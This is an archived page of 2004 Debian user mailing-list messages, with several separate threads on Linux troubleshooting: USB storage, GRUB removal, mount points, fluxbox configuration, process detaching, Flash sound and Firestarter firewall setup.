> Jul 21 17:18:52 bumby scsi.agent[1675]: disk at 
> /devices/pci:00/:00:11.2/usb1/1-2/1-2:2.0/host0/0:0:0:0
> Jul 21 17:18:52 bumby kernel:   Vendor: TOSHIBA   Model: MK6021GAS Rev: GA02
> Jul 21 17:18:52 bumby kernel:   Type:   Direct-Access  ANSI SCSI 
> revision: 02
> Jul 21 17:18:52 bumby usb.agent[1642]:  usb-storage: loaded successfully
> Jul 21 17:18:52 bumby kernel: USB Mass Storage device found at 2
> Jul 21 17:18:52 bumby kernel: usbcore: registered new driver usb-storage
> Jul 21 17:18:52 bumby kernel: USB Mass Storage support registered.
> 
> And modules seem to load correctly:
> 
> bumby:~# lsmod
> Module  Size  Used by
> usb_storage29696  0 
> scsi_mod   81152  1 usb_storage
> lp 10564  0 
> uhci_hcd   30672  0 
> ohci1394   34756  0 
> ieee1394  108340  1 ohci1394
> i2c_sensor  2944  0 
> 

Try modprobe sd-mod (scsi disk support).

> And it shows up as expected:
> 
> bumby:~# cat /proc/scsi/usb-storage/0
>Host scsi0: usb-storage
>Vendor: SmartDisk Corp. 
>   Product: FireLite (USB 2.0) 
> Serial Number: 00010f6f
>  Protocol: Transparent SCSI
> Transport: Bulk
>Quirks:
> 
> bumby:~# cat /proc/bus/usb/devices | grep FireLite 
> S:  Product=FireLite (USB 2.0)
> 
> And I've got my device files:
> 
> bumby:~# ls -l /dev/scd0 /dev/scd1
> brw-rw1 root cdrom 11,   0 2002-03-14 13:54 /dev/scd0
> brw-rw1 root cdrom 11,   1 2002-03-14 13:54 /dev/scd1
> 
> How do I tell what /dev/scd* the device connects to?
> I tried installing the sg3-utils:
> 
> bumby:~# sg_scan -i
> bumby:~#
> 
> And I can't mount:
> 
> bumby:~# mount -t vfat /dev/sda1 /mnt
> mount: /dev/sda1 is not a valid block device
> 
> I tried both of my USB ports.
> 
> 
> At this point I'm swinging in the dark.
> Any ideas?
> 
> 
> 
> 
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Re: How to de-Grub?

2004-07-22 Thread Micha Feigin
On Thu, Jul 22, 2004 at 12:47:14AM +, Stephen Cradock wrote:
> Well, it's a long story!!!
> 
> I started trying to install Woody (see "Starting up.." thread a couple of 
> weeks ago) - found Woody wouldn't recognize my Intel 845 video chipset. 
> Switched to "vesa" but that would only give me 640x480 display.
> 
> So I decided to upgrade to Sarge - set up another Linux partition, booted 
> up Sarge - it wouldn't detect my network (ethernet) connection. Several 
> tries to fix that - no joy. But after failing to establish a network 
> connection, I went on with the install, and Sarge installed Grub. That was 
> fine - Grub detected my primary OS (Windows XP), and I set that to be the 
> default boot option.
> 
> Then, as one does when playing with Linux, I went stark staring bonkers, 
> and decide to try Gentoo - a friend told me it was much easier to install. 
> Rather than make yet another partition, I wiped the Sarge partition and 
> installed Gentoo there, from a CD. That went OK, but also failed to detect 
> my ethernet card. So it's back to Windows to go online to find out what to 
> do next - URGGGH - Grub failed, of course - I had wiped out menu.lst when I 
> deleted Sarge. So I couldn't get into Windows, or online with Gentoo.
> 
> Now I want to remove Grub - it has gone and installed itself in my MBR, and 
> I don't know how to get it out. Any help?
> 
> Stephen Cradock
> 

IIRC you need a dos disk (maybe the window install disk will work if
you use the command line option, or manual repair or something like
that)

Then try running fdisk /mbr to overwrite the mbr. Now check the fdisk
options, there should be an option to set the active boot partition,
set it to the windows one. Hopefully that will do the trick.

For you network card. Try doing from inside linux (assuming it
installed far enough) lspci -vv and look for you network card. During
the installation (at least for the advanced one) you should get an
option to chose extra drivers manually, see if you find the matching
driver this way, or post the information and maybe we can help you more.

> 
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RE: Debian installer beta 4 can't mount ext3 partitions

2004-07-22 Thread Steven Satelle (Service Desk)
Jason Rennie wrote:
> Hello,
> 
> I just did a Debian Sarge install using the beta 4 installer.  I had
> an existing ext3 paritition that I wanted to mount as /home, but after
> "manually partitioning" and telling Debian to use the existing format,
> Debian complained that the ext2 filesystem had something wrong with
> it.  I don't have any ext2 filesystems.  I presume it was looking at
> the ext3 filesystem, trying to mount it as an ext2 filesystem.  When I
> told Debian to ignore the partition, it installed fine.
> 
> Anyone else seen this problem?  Has it been fixed in one of the daily
> installer builds?
> 
> Jason

I had that problem, what I did was configure all partitions, not mount /home
at all, let the pc build and once it was finished edited /etc/fstab and add
in the home partition, 
the problem is fixed in the latest installer AFAIK

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Re: /cdrom vs. /media/cdrom

2004-07-22 Thread Andreas Janssen
Hello

Frank Uepping (<[EMAIL PROTECTED]>) wrote:

> on Sarge there are many duplicating mount points for peripherals,
> like:
> /cdrom
> /cdrom0
> /floppy
> /media/cdrom
> /media/cdrom0
> /media/floppy
> etc.
> 
> Why are the duplicates?

On my system only /cdrom was created.

> What is the preferred mount point / or /media for peripherals?
> Is there any document about this issue?

If I remember correctly, the file system hierarchy standard says mount
points for removable media should be in /media, so I guess this is the
preferred way. Of course, you can change this to whatever you like on
your own system. If you remove the stuff in /, you probably also have
to reconfigure apt if you installed from CD or DVD, e.g. by adding

Acquire::cdrom::mount "/media/cdrom";

to /etc/apt/apt.conf.

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Re: /cdrom vs. /media/cdrom

2004-07-22 Thread Leandro Guimaraens Faria Corsetti Dutra
Em Thu, 22 Jul 2004 11:50:08 +0200, Frank Uepping escreveu:

> on Sarge there are many duplicating mount points for peripherals,
> like: 
> /cdrom
> /cdrom0
> /floppy
> /media/cdrom
> /media/cdrom0
> /media/floppy
> etc.
> 
> Why are the duplicates?

Actually they are not duplicatesâ

For some reason things are mounted on (/media)/cdrom0, and
(/media)/cdrom is a symlink to it.

I suppose the idea is that one can have (/media)/cdrom[0-9]
and choose a default by changing the symlink, but I never had more
than a CD drive to check it.


> What is the preferred mount point / or /media for peripherals?

Depends on whom prefers what for whichever reasonâ

Seriously, / was never a standard, but it was Debianâs
practice, and and still is at least in stable.

/media is the LSB standard, and should be configured in all
new systems starting from current sarge.

The detail is that there are lots of programs still looking
for, and even creating, aberrations like /cdrom.  One notorious
culprit I still have to force into compliance by /etc editing is
discover(2).


> Is there any document about this issue?

Yes, the latest LSB.


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Re: enable duplex

2004-07-22 Thread Jacob Friis Larsen
When I enable both eth0 and eth1 the network only works after boot when 
I do /etc/init.d/networking restart

/etc/network/interfaces:
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 81.7.167.226
netmask 255.255.255.240
gateway 81.7.167.225
auto eth1
iface eth1 inet static
   address 81.7.167.227
   netmask 255.255.255.240
   gateway 81.7.167.225
Also when I set up bonding I can not use the network. This is what I did:
modprobe bonding miimon=250 mode=1
ifconfig bond0 81.7.167.228 netmask 255.255.255.240
ifenslave bond0 eth0 eth1
Any clues?
Jacob
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Wacom Tablet Setup

2004-07-22 Thread anlace
Greetings All,

I had my Wacom Graphire tablet working reasonably well in kernel 2.4 but 
haven't yet attempted to set it up in the 2.6 kernel.  Has anyone had any 
success doing that?  All the resources I've gathered from Google and the web 
are for the 2.4 kernel.  The man pages on Wacom are useless to me because I 
do not know how to interpret them for the Graphire, the smallest of the 
tablets, thankfully I do know how to restore the XF86Conf-4 file if I do hose 
it so I can store XServer.

I'm feeling masochistic enough to try but some encouragement and hopefully a 
pointer or two would leave me ecstatically grateful.

Thanks ahead of time for any help!
Gail


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Re: Xeon HT or not HT

2004-07-22 Thread Derrick 'dman' Hudson
On Thu, Jul 22, 2004 at 10:10:28AM +0100, nx13372 wrote:
| Hi all,
| 
| I'm using kernel 2.4.26-1-686-smp.
| I have a dual xeon box. If in the bios i enable the HT i'll get 4 cpus, 
| if not i'll get 2 cpus.

You have 2 Physical CPUs regardless.  With HT each physical CPU is
divided into 2 Logical CPUs.  I've heard HT called "poor-man's SMP".

| What is bettter?

I would imagine HT is generally better than no-HT.  To be certain you
would have to benchmark both settings in your environment.  My
workstation at work is a hyperthreaded uniprocessor P4.  With an -smp
kernel I see two logical CPUs.  It runs nice and fast (it also happens
to be 3GHz).  I have no other experience with multiple processor
systems.

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Re: Webmin dies on startup

2004-07-22 Thread Thomas Adam
--- Jonathan Melhuish <[EMAIL PROTECTED]> wrote: 

> I usually run the stable version, but I have also tried installing the
> testing 
> version, to no avail.  I have tried removing and re-installing both
> versions.

paste the output of:

bash -x /etc/init.d/webmin start

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Re: printing to remote ip through firewall

2004-07-22 Thread Derrick 'dman' Hudson
On Thu, Jul 22, 2004 at 11:30:39AM -0400, Antonio Rodriguez wrote:
| Some times it is necessary to print a document in a printer
| behind a firewall. The internal ip of the printer and the outer ip of
| the firewall are known. How can this be done?

If you run the firewall, you can use NAT (sometimes called PAT or
port-forwarding) to connect the desired port on the outside address of
the firewall to the printer on the other side.  (eg port 631 if the
printer and client support IPP)

If you have control of a machine inside the firewall, you can start an
ssh session on that machine and use remote port forwarding.  To create
the tunnel 'ssh -R1631:printer:631 other-machine'.  On the remote
machine create a prtiner queue that uses 'ipp://localhost:1631/queue-name'
as the device.  Substitute queue-name for the name and path to the
queue on the print spooler (this depends on the spooler used -- cups
as a server and HP's JetDirect devices are different).   (The
specifics I give assume the remote machine uses CUPS)

If you are outside the firewall and have no control over it or a way
to connect to (and control) a machine inside the firewall then you
cannot connect.  (or you have to ask the network admin to adjust the
firewall to allow your connection)

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Re: KVM (kernel memory interface)

2004-07-22 Thread Jon Dowland
On Thu, 22 Jul 2004 13:53:18 -0700, Mark Ferlatte <[EMAIL PROTECTED]> wrote:
> stan said on Thu, Jul 22, 2004 at 04:45:12PM -0400:
> > On Wed, Jul 21, 2004 at 05:43:36PM -0400, Stewart Flood wrote:
> > > Is there a package that I need to install?  If not, what do I use to get the
> > > functionality of KVM?
> > >
> > The kvm interface in the BSD's is used to collect things like process
> > information etc.
> >
> > How is that done in Linux?
> 
> You read values out of the /proc filesystem.
> 
> I don't believe there is a KVM interface to the Linux /proc information,
> though; you'll need to provide your own layer.

Writing a layer to emulate KVM is probably easier than re-writing your
app to read from /proc. If you do this, please also release it under a
DFSG compatible licence so other people may benefit :-)

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Re: Debian-Fluxbox Q

2004-07-22 Thread Jon Dowland
On Thu, 22 Jul 2004 15:17:11 -0400, Tony Uceda Velez
<[EMAIL PROTECTED]> wrote:
> Changing my default desktop manager in Debian has proven a little more
> cumbersome than I thought.  I edited my
> /etc/X11/default-display-manager file to the absolute path of where the
> fluxbox binary file is.  

fluxbox is a window manager, not a display manager. A window manager
manages windows. A display manager provides a means of logging into
the computer graphically and automatically starting X.

To change the default display manager use dpkg-reconfigure  rather than editing files which can go wrong when packages are
updated/removed/added.

To change window manager, put the binary name in the file ~/.xsession
and choose the option 'Default' in your display manager. This is
provided by (At least) wdm and xdm; I imagine gdm and kdm also provide
a 'default' entry.

Otherwise there may also be a default-window-manager symlink managed
by update-alternatives; how that is honoured I don't know.

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Webmin dies on startup

2004-07-22 Thread Jonathan Melhuish
Since upgrading my system on 10th July, webmin hasn't worked.

When I try running "/etc/init.d/webmin start", it says "Starting webmin:
webmin" and returns control to the command line - but no processes persist
and no ports stay open.  What's more, I don't even get any log output
in /var/log/webmin/webmin.log or /var/log/messages.

I usually run the stable version, but I have also tried installing the testing 
version, to no avail.  I have tried removing and re-installing both versions.

Has anybody got any ideas?

TIA,

Jon


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mkinitrd: RAID support requires raidtools2

2004-07-22 Thread Alec Berryman
I'm trying to do software raid on a fresh install of Woody with a
2.4.26 kernel.  In order to load the software raid I need to make an
initrd image, so I installed initrd-tools.  However, when I run
mkinitrd, I get the following message:

# mkinitrd -o /boot/initrd.img-2.4.26 2.4.26
/usr/sbin/mkinitrd: RAID support requires raidtools2

I've got raidtools2 installed (even though I am using mdadm).  I have
the module 'md' specified in /etc/mkinitrd/modules.  What can I do to
fix this error?


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Re: modules not found after kernel recompile

2004-07-22 Thread awais
Hi,

You can use either modprobe.conf or the modprobe.d directory-or both,  both
of which are
replacements for the old modules.conf. When migrating to the newer
module-init-tools, you should move
required entries from modules.conf to the newer modprobe.conf or modprobe.d
directory.

I've picked this thread somewehere in the middle I rekon, but taking a guess
from  the subject line I suggest the following --

1. Is there a /lib/modules/uname -r directory? Does it have the modules you
compiled in it? If not, maybe the make modules_install wasn't done?
2.  Is there a modules.dep file in /lib/modules/uname -r directory? If not,
depmod possibly failed, try a depmod -a  and then a modprobe again.


HTH

Awais


- Original Message - 
From: "Wim De Smet" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Thursday, July 22, 2004 5:17 PM
Subject: Re: modules not found after kernel recompile


> On Wed, 21 Jul 2004 17:02:07 -0400, Wayne Topa <[EMAIL PROTECTED]>
wrote:
> >
> >
> > Wim De Smet([EMAIL PROTECTED]) is reported to have said:
> > > On Wed, 21 Jul 2004 12:17:40 -0600, CW Harris
<[EMAIL PROTECTED]> wrote:
> > > > On Wed, Jul 21, 2004 at 07:55:27PM +0200, Wim De Smet wrote:
> > > > > Hi,
> > > > >
> > > > [...]
> > > > >
> > > > > You normally don't need a modprobe.conf, everything should be in
> > > > > /etc/modprobe.d. modprobe.conf is just an empty file on my system.
I'm
> > > > 
> > > > Is this true?  Mine (a mostly Sarge with module-init-tools
3.0-pre2-1) has:
> > > >
> > > > # This line loads the part of the modprobe configuration managed
with
> > > > # update-modules(8) and built from the contents of /etc/modprobe.d/.
> > > > include /lib/modules/modprobe.conf
> > > > ^^
> > > > Which seems very important to me (not a GURU here).
> > > >
> > >
> > > module-init-tools in sarge is 3.1-pre5. Maybe it has something to do
> > > with the older version, or maybe you need this if you use udev or
> > > something else. I haven't really looked around for info on the subject
> > > but in any case I don't need it and that means with a somewhat typical
> > > setup it shouldn't be required (I never pull any fancy stuff and I
> > > have hardly ever messed with my modules config)
> > >
> > > cheers,
> > > Wim
> > >
> > > P.S.: I think we're all waiting here for somebody with a bit more
> > > knowledge to explain it to us after which we can say "h, like
> > > that" :-)
> >
> > aptitude show module-init-tools
> > Description: tools for managing Linux kernel modules
> >  This package contains a set of programs for loading, inserting, and
> >  removing kernel modules for Linux (versions 2.5.48 and above). It
> >  serves the same function that the "modutils" package serves for Linux
2.4.
> >
> >   NOTE:  I am running testing with a bit of unstable with a 2.6.7
> >   kernel.
> >
> > dpkg -l ii  module-init-tools  3.1-pre5-1 tools for managing Linux
kernel modules
> >
> > less /etc/modules.conf
> > ### This file is automatically generated by update-modules"
> > #
> > # Please do not edit this file directly. If you want to change or add
> > # anything please take a look at the files in /etc/modutils and read
> > # the manpage for update-modules.
> > [ snip]
> >

###
> > #   Generic section: do not change or copy
> > #
> > # All HDDs
> > probeall  /dev/discsscsi_hostadapter sd_mod ide-probe-mod
ide-disk ide-floppy DAC960
> > alias /dev/discs/*  /dev/discs
> >
> > # All CD-ROMs
> > probeall  /dev/cdroms   scsi_hostadapter sr_mod ide-probe-mod
ide-cd cdrom
> > alias /dev/cdroms/* /dev/cdroms
> > alias /dev/cdrom/dev/cdroms
> >
> > # All tapes
> > probeall  /dev/tapesscsi_hostadapter st ide-probe-mod
ide-tape
> > alias /dev/tapes/*  /dev/tapes
> >
> > {snip many pages }
> >
> > If you are trying to use the 2.6.s kernels you 'do' need to load
module-init-tools.
> >
> > :-) HTH, YMMV, HAND :-)
>
> I don't know what you are trying to say. Yes, he needs
> module-init-tools for a 2.6 kernel, that's what he is trying to
> install. No he does not need a modprobe.conf (AFAIK).
>
> See:
> $ cat modprobe.conf
> $
> (eg nothing in there)
>
> You can safely remove the modutils if you run a 2.6.x kernel.
>
> In any case I have some more ideas (to the OP):
> - modprobe checks for your modules in /lib/modules/`uname -r`. So
> check uname -r to see if it does indeed correspond to the directory
> name, as something might have gone wrong when setting an extraversion
> or whatever.
> - check in that directory to see that there is a modules.dep file,
> maybe something went wrong in this stage.
>
> greets,
> Wim
>
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Re: your mail

2004-07-22 Thread Alex Derkach
Do you want to use kde? Or do you want to use fluxbox exclusively?
If so just change /etc/X11/default-display-manager like this:
echo `which xdm` > /etc/X11/default-display-manager
* Tony Uceda Velez ([EMAIL PROTECTED]) wrote:
> 
> I tried that with no success.  I left the default-display manager entry to
> xdm.  Simply creating that file and adding 'exec fluxbox' (without the
> quotes).  Upon starting X and getting my login window (under KDE) it halts
> and can't get past loading any of the other services under X.  I deleted the
> file and restored as it was. Another Debian user suggested solely changing
> ~/.xsession.  I somehow feel there is more to this. Finding some errors in
> my ~/.xsession-errors file, I see errors pertaining to the following:
> 
> _IceTransmkdir: Owner of /tmp/.ICE-unix should be set to root
> Invalid entry (missing '=') at /home/tonyuv/Desktop/Debian.desktop:2
> Invalid entry (missing '=') at /home/tonyuv/Desktop/Debian.desktop:3
> Invalid entry (missing '=') at /home/tonyuv/Desktop/Debian.desktop:4
> Invalid entry (missing ']') at /home/tonyuv/Desktop/Debian.desktop:5
> 
> Looking at this file, I see the following:
> 
> [Desktop Entry]
> Icon=deb
> Type=Link
> URL=file:/etc/kde2/debian.html
> 
> Any significance or adminissable error you think?
> 
> Thanks so much.
> 
> Tony UcedaVélez
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> 
> -Original Message-
> From: Alex Derkach [mailto:[EMAIL PROTECTED]
> Sent: Thursday, July 22, 2004 3:20 PM
> To: [EMAIL PROTECTED]
> Subject: Re: your mail
> 
> 
> Add 'exec fluxbox' (without quotes) to the last line of your .xinitrc 
> file (should be in $HOME/.xinitrc, if not, make one)
> * Tony Uceda Velez ([EMAIL PROTECTED]) wrote:
> > Greetings -
> > 
> > Changing my default desktop manager in Debian has proven a little more
> > cumbersome than I thought.  I edited my 
> > /etc/X11/default-display-manager file to the absolute path of where the
> > fluxbox binary file is.  Upon restarting X, no dice.  Any suggestions to
> any
> > fellow Debian-Fluxbox fans?
> > 
> > Many thanks.
> > 
> > 
> > Tony UcedaVélez
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> -- 
> lynx -dump www.infiltrated.net/wtf | 
> grep "+-" | 
> sed 's/\\//g;s/\// /g;s/\&//;s/-/ /g' | 
> awk '{print $2,$3,$4,$5}' |
> sed 's/ //g'
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RE: Debian-Fluxbox Q

2004-07-22 Thread Tony Uceda Velez
Ok...looking further into my startup scripts, I see that the flag in the
/etc/init.d/xdm file has a flag for using this default-display-manager file.
It's called

HEED_DEFAULT_DISPLAY_MANAGER=true

and as shown above it's set to true.  If set to false, is it safe to say
that the .xinitrc and .xsession files would come into play?

Out of curiousity, I think KDE is currently started by using this file, b/c
the default-display-manager file calls KDE.  How come KDE doesn't require my
user to have a .xsession file nor a .xinitrc file?  

Thanks again.

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-Original Message-
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Sent: Thursday, July 22, 2004 4:12 PM
To: Tony Uceda Velez
Cc: [EMAIL PROTECTED]
Subject: Re: none


Tony Uceda Velez <[EMAIL PROTECTED]> writes:

> Changing my default desktop manager in Debian has proven a little more
> cumbersome than I thought.  I edited my 
> /etc/X11/default-display-manager file to the absolute path of where the
> fluxbox binary file is.  Upon restarting X, no dice.  Any suggestions to
any
> fellow Debian-Fluxbox fans?

You only need to edit your ~/.xsession to change your window manager or
desktop environment...



Re: dpkg/apt question

2004-07-22 Thread Thomas Adam
--- Preston Boyington <[EMAIL PROTECTED]> wrote: 

> dpkg --set-selections < packages.txt
> 
> then:
> 
> apt-get install
^^^

Wrong. You want to do:

apt-get dselect-upgrade

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Re: Detaching and reattaching a process to different terminals?

2004-07-22 Thread awais
Also-

nohup setsid 

is a simple and quick way to acheive this for new processes.

Cheers

Awais Ahmad


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To: "Stephen Touset" <[EMAIL PROTECTED]>
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Sent: Thursday, July 22, 2004 3:37 PM
Subject: Re: Detaching and reattaching a process to different terminals?


> The program your looking for (for in the future) is called  screen.
> apt-get install screen
>
> >From the package description:
> "screen is a terminal multiplexor that runs several separate "screens"
> on a single physical character-based terminal. Each virtual terminal
> emulates a DEC VT100 plus several ANSI X3.64 and ISO 2022 functions.
> Screen sessions can be detached and resumed later on a different
> terminal."
>
> Run screen first.  Then it will give you a shell again.
> Run whatever app you want on that terminal.
>
> To detach, hit control-a then d
> To reattach, run   screen -r
> (-r for resume, control-a is the command char to screen, and d is detach)
> You can also hit control-a ?  in screen for more commands.
>
> As I said, as you have to run screen first, this won't help with your
> current problem, but in the future it may.
>
> Another handy feature is you can have up to 10 terminals in one screen
season.
> Tons of other useful features as well.
>
> GNU Screen: an introduction and beginner's tutorial
> http://www.kuro5hin.org/story/2004/3/9/16838/14935
>
>
> On Thu, 22 Jul 2004 09:00:46 -0400, Stephen Touset <[EMAIL PROTECTED]>
wrote:
> > I'm running a program for a research study I'm involved in, but I've run
> > into a slight problem. I executed it on an xterm (and it's been running
> > for a few days now, so I don't want to stop it mid-calculation), but
> > today is a workday. At work, I use two screens on my laptop. The only
> > way to accomplish this is to restart X so Xinerama can take effect.
> > Unfortunately, this will also have the nasty side effect of killing
> > execution.
> >
> > Is there any way to detach the pid from that terminal and reattach it to
> > one of the consoles? Or background it in a way where it will survive X
> > restarting? It's not critical, but it's something I've wondered before,
> > and which will come in extremely handy today.
> >
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> >
> >
> >
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Re: flash and mozilla (and firefox and epiphany)

2004-07-22 Thread Paul Yeatman
->>In response to your message<<-
  --received from Wim De Smet--
>
> On Wed, 21 Jul 2004 14:14:03 -0700, Paul Yeatman <[EMAIL PROTECTED]> wrote:
> > I just noticed something I didn't notice before.  Since I have learned
> > I need to kill esd before going to a flash-enabled web site to see the
> > flash correctly (and not have my browser die), I assumed the flash was
> > spawning its own esd process.  Actually, I just noticed that, while
> > flash is playing correctly--without freezing and with sound--no esd
> > process is running.  So flash must be accessing /dev/dsp directly which
> > thus must be the problem when an esd process is already running.
> 
> Sounds logical.
> 
> > 
> > Thus, the solution would seem to be (as Wim pointed out) the sound
> > driver wrapper used by Mozilla.  Unless I'm using it wrongly (again,
> > I'm using Sarge), it doesn't appear to solve the problem.  I'm assuming
> > if I'm using esd that I want the value of "esddsp" for MOZILLA_DSP.
> > Yet neither this nor the value "auto" seems to allow flash to play from
> > a web browser while esd is running.  In both cases, the flash
> > animation and the browser itself hangs.  Part of the strangeness
> > is that this wasn't a problem in Woody.  This has only been the
> > case since I've upgraded to Sarge (which possibly is due to a
> > later version of Mozilla?).
> 
> It seems strange that it doesn't just work out of the box. Are you
> using the latest version of the flashplugin btw (installed with the
> deb package I presume?). You may want to file a bug report on this. I
> think it should just work...

At the moment, I have Flash installed from a download from Macromedia
itself.  This is only because I could never get things to work with the
Debian flashplugin-nonfree package nor a flash plugin package provided
from another apt source site (both using version 7, I'm fairly
confident).  Now the value I was using for MOZILLA_DSP was "espdsp" the
whole time (I never thought to try different values for this back
then).  I don't know if that has anything to do with why things were
not working but seems to me to be the best setting given that I'm using
esd.  Due to the overall problem, I spent some time in the Macromedia
Flash mailing list where I read someone commenting about how many
problems would be avoided if people only read the instructions and
followed advice/instructions given via the mailing list.  This is when
I downloaded the plugin, version 7.0 r25, directly from Macromedia and
followed the instructions to the "t" (which, interestingly enough,
places one of the two files in a different location).  I hoped this may
solve things but no dice.  This is what I still have installed at the
moment.

I now am convinced that the problem resides with the appearance that
Flash accesses /dev/dsp directly creating a conflict anytime another
application has already locked the dsp device first, such as esd.  The
Mozilla wrapper that seems to offer a way around this doesn't appear to
work for me.

My current solution is to change the default behavior of esd from
"auto_spawn" being set to off to being on and, as I'm using gnome,
either disabling sound in gnome altogether or killing the esd process
that is started once I log in.  This solution is satisfactory for
the moment but took quite awhile to figure out.  Likewise, I find
it strange that things didn't work right out of the box (and if
I've had such a problem with it, why not many others?).  Where do you
suggest filing a bug report: with Debian, Mozilla, Macromedia, . .
. ?

Thanks to you and everyone else for the replies with insights and
feedback.

Paul

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Re: KVM (kernel memory interface)

2004-07-22 Thread Mark Ferlatte
stan said on Thu, Jul 22, 2004 at 04:45:12PM -0400:
> On Wed, Jul 21, 2004 at 05:43:36PM -0400, Stewart Flood wrote:
> > I'm starting a project to port a very large application from FreeBSD to
> > Debian.  I've gotten past some of the initial porting issues, but I'm stuck
> > on this one:  under FreeBSD we used the kernel memory interface (KVM), but
> > Debian doesn't seem to have kvm.h and I can't find a man page on it.
> > 
> > Is there a package that I need to install?  If not, what do I use to get the
> > functionality of KVM?
> > 
> I don't know the answer to this, but I might be able to jog someones
> memory.
> 
> The kvm interface in the BSD's is used to collect things like process
> information etc.
> 
> How is that done in Linux?
> 
> I'm talking about the kind of info that top shows.

You read values out of the /proc filesystem.

I don't believe there is a KVM interface to the Linux /proc information,
though; you'll need to provide your own layer.

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Re: KVM (kernel memory interface)

2004-07-22 Thread stan
On Wed, Jul 21, 2004 at 05:43:36PM -0400, Stewart Flood wrote:
> Greetings...
> 
> I'm starting a project to port a very large application from FreeBSD to
> Debian.  I've gotten past some of the initial porting issues, but I'm stuck
> on this one:  under FreeBSD we used the kernel memory interface (KVM), but
> Debian doesn't seem to have kvm.h and I can't find a man page on it.
> 
> Is there a package that I need to install?  If not, what do I use to get the
> functionality of KVM?
> 
I don't know the answer to this, but I might be able to jog someones
memory.

The kvm interface in the BSD's is used to collect things like process
information etc.

How is that done in Linux?

I'm talking about the kind of info that top shows.

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RE: your mail

2004-07-22 Thread Tony Uceda Velez

I tried that with no success.  I left the default-display manager entry to
xdm.  Simply creating that file and adding 'exec fluxbox' (without the
quotes).  Upon starting X and getting my login window (under KDE) it halts
and can't get past loading any of the other services under X.  I deleted the
file and restored as it was. Another Debian user suggested solely changing
~/.xsession.  I somehow feel there is more to this. Finding some errors in
my ~/.xsession-errors file, I see errors pertaining to the following:

_IceTransmkdir: Owner of /tmp/.ICE-unix should be set to root
Invalid entry (missing '=') at /home/tonyuv/Desktop/Debian.desktop:2
Invalid entry (missing '=') at /home/tonyuv/Desktop/Debian.desktop:3
Invalid entry (missing '=') at /home/tonyuv/Desktop/Debian.desktop:4
Invalid entry (missing ']') at /home/tonyuv/Desktop/Debian.desktop:5

Looking at this file, I see the following:

[Desktop Entry]
Icon=deb
Type=Link
URL=file:/etc/kde2/debian.html

Any significance or adminissable error you think?

Thanks so much.

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-Original Message-
From: Alex Derkach [mailto:[EMAIL PROTECTED]
Sent: Thursday, July 22, 2004 3:20 PM
To: [EMAIL PROTECTED]
Subject: Re: your mail


Add 'exec fluxbox' (without quotes) to the last line of your .xinitrc 
file (should be in $HOME/.xinitrc, if not, make one)
* Tony Uceda Velez ([EMAIL PROTECTED]) wrote:
> Greetings -
> 
> Changing my default desktop manager in Debian has proven a little more
> cumbersome than I thought.  I edited my 
> /etc/X11/default-display-manager file to the absolute path of where the
> fluxbox binary file is.  Upon restarting X, no dice.  Any suggestions to
any
> fellow Debian-Fluxbox fans?
> 
> Many thanks.
> 
> 
> Tony UcedaVélez
> Security Analyst
> [EMAIL PROTECTED]
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> 

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cross compiling

2004-07-22 Thread Tom Vier
is there an easy way to build a cross compiler? i'm using testing/. i saw
there's a toolchain-source and a binutils-multiarch package. now that i have
them installed, what do i do? i want to build an x86 -> ppc toolchain (and
sparc, in the future).

tia!

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Re: none

2004-07-22 Thread Paul Johnson
Tony Uceda Velez <[EMAIL PROTECTED]> writes:

> Changing my default desktop manager in Debian has proven a little more
> cumbersome than I thought.  I edited my 
> /etc/X11/default-display-manager file to the absolute path of where the
> fluxbox binary file is.  Upon restarting X, no dice.  Any suggestions to any
> fellow Debian-Fluxbox fans?

You only need to edit your ~/.xsession to change your window manager or
desktop environment...


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Re: Confounded by Firestarter "Issues"... (update)

2004-07-22 Thread listcomm
Okay...  I've figured out a couple of things.  I'll post them here
in case anyone else gets in the same trouble.  There are hints of
solutions to all this in various places scattered around the Web,
but nothing explicit or in one place, that I could find.  Basically, I
just spent enough time trying combinations of things and finally
got lucky.  (I have V0.8xx so any or all of this may or may not
apply to later versions.)

(1) The setup "wizard" defaults to device "eth0" as the primary
communication device.  If you *either* fail to select "ppp0" *or*
the selection somehow changes (which is what happened to me,
emphasis on the "somehow" - rerunning the "wizard" and regenerating
the Firestarter shell script is a common procedure and probably subject
to accidents, if nothing else...), Firestarter redirects various
(but not all!) IP traffic to the LAN interface - i.e., things
which are supposed to go in/out the connection to the ISP,
end up forwarded to the Ethernet interface (causing the MAC transaction
kernel logging messages to appear in the console window). 
Interestingly,
enabling specific connections to specific IP addresses in the
Firestarter
rules, does cause those connections to then be directed to whatever
running app needs them, on a rule-by-rule basis, while everything else
continues to squirt out the Ethernet interface.

This setup idiosyncrasy is undoubtedly the result of Firestarter being
intended to run on a dedicated firewall machine, rather than being set
up as a "personal firewall"...

(2) Starting Firestarter manually as root *before* using "kppp" to
connect
with an ISP, does not work.  What happens is, Firestarter can't find an
existing
pppd task to glom onto, and (for whatever reason), guess what - goes
about redirecting the IP traffic out onto the network interface, in
the same manner as it does if the "eth0" device is incorrectly
selected.  *Restarting* the firewall *after* establishing the PPP
connection causes the firewall to start working correctly (at least,
apps/utilities (Netscape, "ping", etc.) can then access the PPP
connection correctly).

Based on some snatches of conversation I found on the "sourceforge"
website,
I suspect that Firestarter needs to be started by init.d, and at the
correct
runlevel, in order to avoid this second problem.  However, in my case at
least,
I was forced to disable the (default) startup behavior, because it
locked up
KDE on startup.  There are some "gtk" errors (e.g., Gtk-WARNING **:
invalid cast from (NULL) pointer to `GtkContainer', Gtk-CRITICAL **:
file gtkcontainer.c: line 726 (gtk_container_remove):assertion
`container != NULL' failed., etc.) which are generated with
every call Firestarter makes to the window it puts up (i.e. every time
it updates the transaction log in the log window), and apparently that
causes KDE to choke on startup.  (Interestingly, logging in and starting
KDE as
root worked, but logging in as a non-privileged user did not - go
figure...).
There was also a problem involving locale detection, which I've since
fixed; I suppose I should try reinstating the init.d links to see if
that was what was causing the KDE lockup.  But, I'm not sure I want the
firewall
running until I'm ready to start a dialup connection in any case.

Thus far, I haven't found any solution to the "gtk" error messages,
which
are commonly discussed in various places on the net w/r/t various apps;
they're mentioned specifically w/r/t Firestarter on one of the German
Linux security
websites, but (to the best of my limited ability to translate German)
the problem was deemed unsolvable without an upgrade.  (I haven't
looked to see if there's a newer "stable" version of the Gnome toolkit
yet...
I suppose that's worth a try.)

Upgrading "woody" to Firestarter 0.9xx is more or less unworkable, from
what
I can tell (as has been previously explored here...) - a complete
upgrade to
"sarge" would make more sense.  Unless I can find a backport of
